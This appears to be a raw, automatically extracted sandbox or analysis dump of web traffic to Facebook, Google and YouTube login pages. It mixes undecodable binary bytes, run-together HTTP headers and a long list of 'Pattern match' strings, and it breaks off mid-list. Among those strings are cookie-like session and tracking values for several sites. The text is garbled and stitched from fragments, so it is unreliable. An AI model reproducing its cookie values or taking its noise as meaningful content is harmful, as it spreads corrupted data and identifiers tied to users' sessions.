C��ٞC�i�yx��b�L�g�L�_�?z�c�e��_L�Rձ8��4��O�4�4�]�t��olǖ��}{�:|8�<��7{��Z�*O�~�9q6�{��t�mq�>�Jla��h��c"��f@�_��sm��&��MQ��c^�"]��h��`�iu4�7r��}k�!��^Κ(b��Z�坪6ۑH��J�F`��;��2|>x��8�u��7lg�F"��{��v�p�P�W�:=�q��|ԣ��CZ�o�zQ��B�K=�]��X�Mj��L��[0��;�y1��ss��gû+��@#auX/�|��Loۯ"Iݕ�VG��B�&�f$�v<��?m�`��3��L�\�,��Rթ�f�b�a��X��f�Z�A��(��0�ޱ&�.Z|'��}&;l��B��>�,��R�²c�V�״j*v��ND��x��x��4��U�)��:�oj��?�C��vs��)��C��\�N��x�z-�5v�Qڹ.��tZo]��~I��۳�i~��_�d�_x:v]~7�V��zU��7��(�.��0", "GET /rsrc.php/v3/ya/l/0,cross/EQ0cyse2DGv.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive", "GET /rsrc.php/v3/y8/r/RNFuSb7tdaZ.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive", "GET /rsrc.php/v3/yX/l/0 cross/fpMCwgcFvo4.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive", "GET /rsrc.php/v3/yx/l/0 cross/7O04Eyj-1fg.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive", "GET /rsrc.php/v3/yL/l/0 cross/GLMTwJKTA1g.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive", "HTTP/1.1 200 OKVary: Accept-EncodingContent-Encoding: gzipContent-Type: text/css; charset=utf-8Access-Control-Allow-Origin: *Last-Modified: Mon 01 Jan 2001 08:00:00 GMTExpires: Fri 18 Oct 2024 19:44:26 GMTCache-Control: public max-age=31536000 immutabledocument-policy: force-load-at-toppermissions-policy: accelerometer=() ambient-light-sensor=() bluetooth=() camera=() geolocation=() gyroscope=() hid=() idle-detection=() magnetometer=() microphone=() midi=() payment=() screen-wake-lock=() serial=() usb=()cross-origin-resource-policy: cross-originX-Content-Type-Options: nosnifftiming-allow-origin: *content-md5: 1k610vZM2O1qk446Qj0h/g==X-FB-Debug: YMEOgbzhd42wbqgFp7Rdjk+/iIKgb8DBGR6V6a1wuO4OcivforL27LdjFIqqY+AlnA+I7UWh2rXH69M6HN/eEQ==Date: Sun 22 Oct 2023 04:17:31 GMTAlt-Svc: h3=":443"; ma=86400Connection: keep-aliveContent-Length: 724", "��U�n�:}�Wd��C�9m ��p�a�?0d��*�+3�SC�>H�S�w`�&y�I�S��L�eE��d��#��ڴ��'^ZT�BGYk��:�֔�:��h.�1S��$y��u�x�A>d�,�Er�cz�R�TE``�iZ��x_Y<�AG��9��s�~'�8ֆ k��;��$x챑*��ց)��+��S�V;��e��P�4��a�ε`aw��ޘ]��)ڸ��3ᥜ�T�XY�p��/��v~u܌[6��n��:.��h�#�%XU-Р�"�ik2�K��Xܒ�=�IГ,��l��d��#{O��+�U~�qOq��ŷl��F"��}��l>�!�)��q�f�Xq�x�%S��bgܸ�<��~X��)3NC�Wy�YBaT��<��y�6"M��pW��z�)��#S��ǽ�÷�m)�߭׷��}�I��Ϭ�v~��&�WY}�[�*6��3�7?��u3g�X=��?�4��7�o(�Hy�n�|ӓL�/^�D#�6n��A��#��Ӣ5z��6��\��8��>/uYTJ��ͱ��*��=��6��/��_߿��g�E�H�_|��z��]Ӊ�^\�L�2�)y�$B" "GET /rsrc.php/v3/y9/l/0,cross/2W2z89vRC58.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive" "GET /rsrc.php/yI/r/4aAhOWlwaXf.svg HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive" "GET /rsrc.php/v3/yy/l/0,cross/wYnUPpbC_DL.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive" "HTTP/1.1 200 OKVary: Accept-EncodingContent-Encoding: gzipContent-Type: application/x-javascript; charset=utf-8Access-Control-Allow-Origin: *Last-Modified: Mon, 01 Jan 2001 08:00:00 GMTExpires: Fri, 18 Oct 2024 19:56:37 GMTCache-Control: public,max-age=31536000,immutabledocument-policy: force-load-at-toppermissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), microphone=(), midi=(), payment=(), screen-wake-lock=(), serial=(), usb=()cross-origin-resource-policy: cross-originX-Content-Type-Options: nosnifftiming-allow-origin: *x-ua-compatible: IE=edgecontent-md5: qij8lHmYVDJxb3NmfHqnjg==X-FB-Debug: 0C+DEaKFkTp3II3INcS/Oxuhuyo7pFtETdkFcHn2kk2Ur1ZfmhQJL7pdvWTViFccDlw6A+TFm4nvR31tVydtCA==Date: Sun, 22 Oct 2023 04:17:31 GMTAlt-Svc: h3=":443"; ma=86400Connection: keep-aliveContent-Length: 115563" "HTTP/1.1 200 OKVary: Accept-EncodingContent-Encoding: gzipContent-Type: text/css; charset=utf-8Access-Control-Allow-Origin: *Last-Modified: Mon, 01 Jan 2001 08:00:00 GMTExpires: Sat, 19 Oct 2024 17:35:10 GMTCache-Control: public,max-age=31536000,immutabletiming-allow-origin: *document-policy: force-load-at-toppermissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), microphone=(), midi=(), payment=(), screen-wake-lock=(), serial=(), usb=()cross-origin-resource-policy: cross-originX-Content-Type-Options: nosniffreporting-endpoints: content-md5: 7FAiLZExJ8UXpIHZfVhlxQ==X-FB-Debug: GjRKM7grA6xCHqVRePNgYgmvg+jK9R3O5dZRzmQHT/DCSDluMANxmYkNkXSKeTQoxtaX4XWxbllN/4tFjVfbWQ==Date: Sun, 22 Oct 2023 04:17:31 GMTAlt-Svc: h3=":443"; ma=86400Connection: keep-aliveContent-Length: 4852" "HTTP/1.1 200 OKVary: Accept-EncodingContent-Encoding: gzipContent-Type: text/css; charset=utf-8Access-Control-Allow-Origin: *Last-Modified: Mon, 01 Jan 2001 08:00:00 GMTExpires: Sat, 19 Oct 2024 17:35:10 GMTCache-Control: public,max-age=31536000,immutabletiming-allow-origin: *document-policy: force-load-at-toppermissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), microphone=(), midi=(), payment=(), screen-wake-lock=(), serial=(), usb=()cross-origin-resource-policy: cross-originX-Content-Type-Options: nosniffreporting-endpoints: content-md5: QHICN4W0delIiSobP509JA==X-FB-Debug: 2hcz2U5/QBYQcUoPVJJQ71QdxbBNpMm5NvoxXnRJ5nTgQmzv5uhw5OI013pW2p1KM2yWM6d5QtbkrzFE3t16dA==Date: Sun, 22 Oct 2023 04:17:31 GMTAlt-Svc: h3=":443"; ma=86400Connection: keep-aliveContent-Length: 8072" "HTTP/1.1 200 OKVary: Accept-EncodingContent-Encoding: gzipContent-Type: image/svg+xmlAccess-Control-Allow-Origin: *Last-Modified: Mon, 01 Jan 2001 08:00:00 GMTExpires: Fri, 18 Oct 2024 23:49:53 GMTCache-Control: public,max-age=31536000,immutabledocument-policy: force-load-at-toppermissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), microphone=(), midi=(), payment=(), screen-wake-lock=(), serial=(), usb=()cross-origin-resource-policy: cross-originX-Content-Type-Options: nosnifftiming-allow-origin: *origin-agent-cluster: ?0content-md5: 7LTAFoD2FIsnNV1/7L5XgQ==X-FB-Debug: NGx760RvQn9Wj4e62Yb5o8OZjs4ToPIxRAkEIweXOx6BVXGDf3w2ULTonnR4Akt+l/r9HAKUwU4bXk1QhQy14g==Date: Sun, 22 Oct 2023 04:17:32 GMTAlt-Svc: h3=":443"; ma=86400Connection: keep-aliveContent-Length: 986"5a:T68d0,Pattern match: "https://www.youtube.com/" Pattern match: "https://www.facebook.com/login" Pattern match: "https://accounts.google.com/" Heuristic match: "^>Tm1X.NR" Heuristic match: "7).DK" Pattern match: "http://www.w3.org/2000/svg" Pattern match: "https://www.facebook.com/loginstart" Pattern match: "https://www.facebook.com/legal/license/WRsJ32R7YJG/__d" Pattern match: "rsrc.php/v3/yB/r/TwAHgQi2ZPB.png" Pattern match: "http://example.com" Pattern match: "https://www.facebook.com/legal/license/t3hOLs8wlXy/__d" Pattern match: "http://crls.pki.goog/gts1c3/moVDfISia2k.crlc2d_z\|" Pattern match: "http://crls.pki.goog/gts1c3/QOvJ0N1sT2A.crlSB3jx" Pattern match: "http://crl3.digicert.com/sha2-ha-server-g6.crl.http://crl4.digicert.com/sha2-ha-server-g6.crl0d0pGi/%d" Pattern match: "https://fonts.googleapis.com/css?family=YouTube+Sans:500" Pattern match: "rsrc.php/v3/yD/r/MKQzjVd1bVq.png" Pattern match: "rsrc.php/v3/yL/r/unHwF9CkMyM.png" Pattern match: "NOFORMmicrosoft.com/102433237894403108561027971357230938743SRCHUIDV=2&GUID=426377958C8445E3B4EA69482BD0E747&dmnchg=1microsoft.com/102433237894403108561027971357230938743SRCHUSRDOB=20220131microsoft.com/102433237894403108561027971357230938743SRCHHPGUSRSRCHL" Pattern match: "https://fonts.gstatic.com/s/roboto/v30/KFOmCnqEu92Fr1Mu4mxM.woff" Pattern match: "9217217201702431101456394139700131065251CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/92171493235231068063364386500231065251VISITOR_PRIVACY_METADATACgJVUxICGgA%3Dyoutube.com/921721720170243110145639" Pattern match: "https://fonts.google.com/license/googlerestricted@font-face" Pattern match: "07i4FJZPokWKsVJCI..BlNKJX.1k.AAA.0.0.BlNKJX.AWXGVGFgxLIfacebook.com/9217247491110431083351264296869031065245V6I0ZVWMWbeykOsycg0odwiXfacebook.com/9217401936524831145712174369268531065245_js_datrV6I0ZYIR28XglSDqxFxeA7PFfacebook.com/10897445941763114571938860" Pattern match: "MUIDB38D3A838C6636D6F02B0BB8AC7FF6C9Fwww.msn.com/921617785975043114370130450373831065328sptmarketen-us||us|en-us|en-us|en||RefA=19F1511D8C57447592E671C72F441AAE.RefC=2023-10-22T04:18:25Zwww.msn.com/102439069937923121229891206374031065328" Pattern match: "9217217201702431101456394139700131065251CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/92171493235231068063364386500231065251" Pattern match: "Cp8k9yqD7XrvlgJnaccounts.google.com/92173425420288312120973522059372310653617261545_48_52_123900_48_436380accounts.google.com/1089172886937631071394186561393531065359" Pattern match: "1Jj-wqTEX1kAJ9G4accounts.google.com/92173385420288312120972555094360310653547261545_48_52_123900_48_436380accounts.google.com/1089172886937631071394186561393531065359" Pattern match: "921617785975043114370130450373831065328MUID38D3A838C6636D6F02B0BB8AC7FF6C9Fmsn.com/102517785975043114370130403573731065328USRLOCmsn.com/921739069937923121229891221974131065328" Pattern match: "07i4FJZPokWKsVJCI..BlNKJX.1k.AAA.0.0.BlNKJX.AWXGVGFgxLIfacebook.com/9217247491110431083351264296869031065245V6I0ZVWMWbeykOsycg0odwiXfacebook.com/9217401936524831145712174369268531065245" Pattern match: "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/92171493235231068063364386500231065251" Pattern match: "921617785975043114370130450373831065328MUID38D3A838C6636D6F02B0BB8AC7FF6C9Fmsn.com/102517785975043114370130403573731065328" Pattern match: "41VbLSCIoI203ozHaccounts.google.com/9217271542028831212097327381772531065252" Pattern match: "1Jj-wqTEX1kAJ9G4accounts.google.com/9217338542028831212097255509436031065354" Pattern match: "Ur6RBBDT7PDjg8uOaccounts.google.com/9217337542028831212097254662635931065354" Pattern match: "Mh4eHo4OSjIWqc0uaccounts.google.com/9217278542028831212097138253559331065261" Pattern match: "CheckConnectionTempCookie627382043accounts.youtube.com/accounts/21474847522315988483106536213265207931065362" Pattern match: "CheckConnectionTempCookie69220259accounts.youtube.com/accounts/21474847523183938563106526422279599731065264" Pattern match: "MUIDB226EB3A0F75C69DA3742A012F6106817ieonline.microsoft.com/9216176859750431143701347139031331065326" Pattern match: "TESTCOOKIESENABLEDaccounts.google.com/v3/signin/1088244323033631065259185028404231065259" Pattern match: "TESTCOOKIESENABLEDaccounts.google.com/v3/signin/1088245650073631065359186514593531065359" Pattern match: "MUIDB38D3A838C6636D6F02B0BB8AC7FF6C9Fwww.msn.com/921617785975043114370130450373831065328" Pattern match: "MUID38D3A838C6636D6F02B0BB8AC7FF6C9Fmsn.com/102517785975043114370130403573731065328" Pattern match: "V6I0ZVWMWbeykOsycg0odwiXfacebook.com/9217401936524831145712174369268531065245" Pattern match: "nactkwww.msn.com/spartan/108834324326431367516156339216030633261" Heuristic match: "accounts.google.com" Heuristic match: "accounts.youtube.com" Heuristic match: "connect.facebook.net" Heuristic match: "facebook.com" Heuristic match: "fbcdn.net" Heuristic match: "fbsbx.com" Heuristic match: "fonts.googleapis.com" Heuristic match: "fonts.gstatic.com" Heuristic match: "play.google.com" Heuristic match: "static.xx.fbcdn.net" Pattern match: "www.google.com" Pattern match: "www.gstatic.com" Pattern match: "www.youtube.com" Pattern match: "www.facebook.comConnection" Pattern match: "https://*.fbsbx.com" Pattern match: "rsrc.php/v3/ya/l/0,cross/EQ0cyse2DGv.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/y8/r/RNFuSb7tdaZ.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yX/l/0,cross/fpMCwgcFvo4.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yx/l/0,cross/7O04Eyj-1fg.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yL/l/0,cross/GLMTwJKTA1g.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/y9/l/0,cross/2W2z89vRC58.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/yI/r/4aAhOWlwaXf.svg" Pattern match: "rsrc.php/v3/yy/l/0,cross/wYnUPpbC_DL.css?_nc_x=Ij3Wp8lg5Kz" Pattern match: "Y-.YU/Ҍc]�'�Ī�*" Pattern match: "https://www.facebook.com/loginAccept-Language" Pattern match: "rsrc.php/v3/yU/r/O7nelmd9XSI.png" Pattern match: "rsrc.php/v3/yB/r/Y0L6f5sxdIV.png" Pattern match: "rsrc.php/v3/y1/r/dXk5exdOVhk.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yw/r/TOgyZUwZTqd.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yf/r/LgvwffuKmeX.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yz/r/lFK_RCKM9IT.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yt/r/zI56j6esQGz.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yq/r/C9n9XTZa3H8.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yw/r/wm4d5zAAo-a.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yt/r/d4QqVJOdC1V.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3ihVQ4/yp/l/en_US/M_qt8gV3koE.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/ye/r/yUtEQ4ajXZI.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/y1/r/P8DLAFRlDfy.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/ys/r/xEUODc7mbZF.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yj/r/MAz3ivwtIyN.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yP/r/bisOS4dl-mS.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yo/r/xqvNY4MTESs.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yO/r/_tJ17sGyxOX.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/y7/r/QJ_ErdZuyUE.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yt/r/jIUN0Hn2kpD.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yh/r/bpW4eEg-2_W.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yG/r/rAl2Hl1fQTa.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yM/r/SeW64FDUgJN.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/v3/yl/r/BQn1Lzzcmjv.js?_nc_x=Ij3Wp8lg5Kz" Pattern match: "rsrc.php/yb/r/hLRJ1GG_y0J.ico" Pattern match: "https://fbcdn.net/security/hsts-pixel.gif?c=2.5reporting-endpoints" Pattern match: "https://fbsbx.com/security/hsts-pixel.gif?c=5reporting-endpoints" Pattern match: "https://connect.facebook.net/security/hsts-pixel.gifreporting-endpoints" Pattern match: "www.youtube.comCookie" Pattern match: "https://csp.withgoogle.com/csp/report-to/youtube_main}]}Permissions-Policy" Pattern match: "https://www.youtube.com/supported_browsers?next_url=https%3A%2F%2Fwww.youtube.com%2FAccept-Language" Pattern match: "https://csp.withgoogle.com/csp/report-to/youtube-marketing}]}Content-Length" Pattern match: "www.youtube.comDNT" Pattern match: "https://accounts.google.com/ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2FContent-Encoding" Pattern match: "https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyxI3_oVGuejk05JwsYLCrIluEKMaFoDD8jbLw_IOqTqWwonQgGCpqIiBv_lPA61O-WIoFuMGw" Pattern match: "https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzY_-mee9OD7KGsKUQ_kVMpWYBDBai2XNYj1fgwxGKyTMsF4LnkSBH0KFTJVMDI5DYw2TG_qg&passive=1209600&flowName=GlifWe" Pattern match: "https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyxI3_oVGuejk05JwsYLCrIluEKMaFoDD8jbLw_IOqTqWwonQgGCpqIiBv_lPA61O-WIoFuMGwStrict-Transport-Security" Pattern match: "accounts.google.com/x-ua-compatible" Pattern match: "https://www.google.com/favicon.icoStrict-Transport-Security" Pattern match: "https://accounts.google.com/Accept-Language" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInUi}]}Cross-Origin-Opener-Policy-Report-Only" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInSignUpUi}]}Accept-CH" Pattern match: "https://accounts.google.com/ServiceLogin?continue=https%3A%2F%2Faccounts.google.com%2F&flowEntry=ServiceLogin&flowName=GlifWebSignIn&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzY_-mee9OD7KGsKUQ_kVMpWYBDBai2XNYj1fgwxGKyTMsF4LnkSBH0KFTJVMDI5DYw" Pattern match: "https://accounts.google.com/&flowEntry=ServiceLogin&flowName=GlifWebSignIn&followup=https://accounts.google.com/&ifkv=AVQVeyzY_-mee9OD7KGsKUQ_kVMpWYBDBai2XNYj1fgwxGKyTMsF4LnkSBH0KFTJVMDI5DYw2TG_qg&theme=glif" Pattern match: "https://accounts.google.com/InteractiveLogin?continue=https://accounts.google.com/&flowEntry=ServiceLogin&flowName=GlifWebSignIn&followup=https://accounts.google.com/&ifkv=AVQVeyzY_-mee9OD7KGsKUQ_kVMpWYBDBai2XNYj1fgwxGKyTMsF4LnkSBH0KFTJVMDI5DYw2TG_qg&theme" Pattern match: "https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&flowEntry=ServiceLogin&flowName=GlifWebSignIn&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyyWBHqiD7KZX7MuAuAFw1ShOHyTlefZGkLTyPmJsQz9RykRxhCA1TsSJ_O9" Pattern match: "https://csp.withgoogle.com/csp/report-to/AccountsSignInSignUpUi}]}Cross-Origin-Opener-Policy-Report-Only" Pattern match: "https://csp.withgoogle.com/csp/apps-themesCross-Origin-Resource-Policy" Pattern match: "https://csp.withgoogle.com/csp/boq-infra/identity-boq-js-css-signersCross-Origin-Resource-Policy" Pattern match: "https://csp.withgoogle.com/csp/report-to/static-on-bigtable}]}Content-Length" Pattern match: "https://accounts.google.comContent-Security-Policy" Pattern match: "https://accounts.google.comAccess-Control-Request-Method" Pattern match: "accounts.google.com/v3/signin/identifier\,null,[\\],0]],\-296435226787517246\,3,[null,\S1057683315:1697948257826505\]],null,null,null,null,null,null,-7200,null,null,null,null,[],1,null,null,null,null,null,[]],[1697954451000,null,[],null,null,null" Pattern match: "https://accounts.google.comAccess-Control-Allow-Methods" Pattern match: "g.co/p3phelp" Pattern match: "https://accounts.google.comCross-Origin-Resource-Policy" Pattern match: "accounts.google.com/v3/signin/identifier\,null,[\\],0]],\-5408529789333999024\,3,[null,\S-1139992533:1697948324139191\]],null,null,null,null,null,null,-7200,null,null,null,null,[],1,null,null,null,null,null,[]],[1697997435000,null,[],null,null,nu" Pattern match: "www.youtube.com\//g" Pattern match: "https://www.youtube.com/error_204?t=jserror&level=ERROR" Pattern match: "https://www.youtube.com/s/desktop/b926992e/img/favicon.ico" Pattern match: "https://i.ytimg.com/generate_204" Pattern match: "https://www.youtube.com/s/desktop/b926992e/jsbin/scheduler.vflset/scheduler.js" Pattern match: "https://www.youtube.com/s/desktop/b926992e/jsbin/network.vflset/network.js" Pattern match: "https://www.youtube.com/s/desktop/b926992e/cssbin/www-main-desktop-watch-page-skeleton.css" Pattern match: "https://accounts.google.com/v3/signin/" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.QUjh89dKB-E.L.I11.O/am=DmBFZI4NgOD_oonn7xknhwEAAAAAAAAAANZAdg/d=1/ed=1/rs=AOaEmlGTvDS36C4lRk2g_V6AKIwWhiCPVw/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVF9eI.woff" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.C6tNd3FBrA8.es5.O/am=DmBFZI4NgOD_oonn7xknhwEAAAAAAAAAANZAdg/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlHK_6NZi0yeSin1ommAktmAN0EneA/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxIIzQ.woff" Pattern match: "https://accounts.google.com/AccountChooser?continue\u003dhttps://accounts.google.com/\u0026followup\u003dhttps://accounts.google.com/],[null,[null,null,https://accounts.google.com/Logout?continue\u003dhttps://accounts.google.com/restart?continue%3Dhttps:" Pattern match: "https://www.youtube.com" Pattern match: "https://accounts.google.com" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.8dPAf41KP2A.L.B1.O/am=DmBFJI4NgOD_oonn7xknhwEAAAAAAAAAANZAdg/d=1/ed=1/rs=AOaEmlG_feASRxywwl-DUEHUHQxHjOTzug/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVGdeOYktMqlap.woff2" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.C6tNd3FBrA8.es5.O/am=DmBFJI4NgOD_oonn7xknhwEAAAAAAAAAANZAdg/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlHlvGH0uOdIItMZ5p_iAU8jYD9fsA/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2" Pattern match: "com.google.android.gms/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver,com.google.android.gms.supervision/com.google.android.gms.kids.account.receiver.ProfileOwnerReceiver" Pattern match: "https://www.google.com/log?format=json&hasfast=true:https://play.google.com/log?format=json&hasfast=true" Pattern match: "https://play.google.com/log?format=json&hasfast=true;this.Ma=!0;this.Ja=!1;this.Qg=;this.oa=this.aa=this.da=!1;this.network=new" Pattern match: "https://policies.google.com/terms+(f?/embedded:)+?hl=+_.rz(d)+&gl=+_.rz(c)+" Pattern match: "https://policies.google.com/privacy+(f?/embedded:)+?hl=+_.rz(d)+&gl=+_.rz(c)+(g?&color_scheme=+_.rz(g):)+((null==e?0:e.X9)?#infocollect:);break;case" Pattern match: "https://play.google.com/intl/+_.rz(l)+/about/play-terms/embedded/+(g??color_scheme=+_.rz(g):);break;case" Pattern match: "https://www.youtube.com/t/terms?chromeless=1&hl=+_.rz(l);break;case" Pattern match: "https://policies.google.com/privacy+(f?/embedded:)+?hl=+_.rz(d)+&gl=+_.rz(c)+(g?&color_scheme=+_.rz(g):)+#inforetaining;break;case" Pattern match: "https://policies.google.com/privacy/additional+(f?/embedded:)+?hl=+_.rz(d)+&gl=jp+(g?&color_scheme=+_.rz(g):);break;case" Pattern match: "http://+this.ea.substring(this.Ca.length)" Pattern match: "http://www.w3.org/XML/1998/namespace:0===b.lastIndexOf(xlink:,0)?http://www.w3.org/1999/xlink:null" Pattern match: "http://www.w3.org/2000/svg:math===a?http://www.w3.org/1998/Math/MathML:null==d||foreignObject===IB(d).da?null:d.namespaceURI" Pattern match: "https://www.w3.org/2000/svg'+" Pattern match: "https://www.gstatic.com/images/branding/product/2x/chrome_48dp.png" Pattern match: "https://fonts.gstatic.com/s/i/productlogos/drive_2020q4/v10/192px.svg" Pattern match: "https://www.gstatic.com/images/branding/product/2x/gsa_48dp.png" Pattern match: "https://fonts.gstatic.com/s/i/productlogos/gmail_2020q4/v10/web-48dp/logo_gmail_2020q4_color_2x_web_48dp.png" Pattern match: "https://www.gstatic.com/images/branding/product/2x/play_prism_48dp.png" Pattern match: "https://ssl.gstatic.com/accounts/animation/+_.sz" Pattern match: "https://ssl.gstatic.com/accounts/embedded/security_key_laptop.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/security_key.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/security_key_nfc_discovered.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/security_key_phone.gif" Pattern match: "https://ssl.gstatic.com/accounts/embedded/security_key_ios_center.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/ble_device.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/ble_pin.png" Pattern match: "https://ssl.gstatic.com/accounts/embedded/usb_key.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/security_key_phone.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/paaskey.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkey_challenge.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkey_enrollment.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkey_enrollment_cross_device.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkey_enrollment_reauth.svg" Pattern match: "https://ssl.gstatic.com/accounts/marc/passkey_enrollment_error.svg" Pattern match: 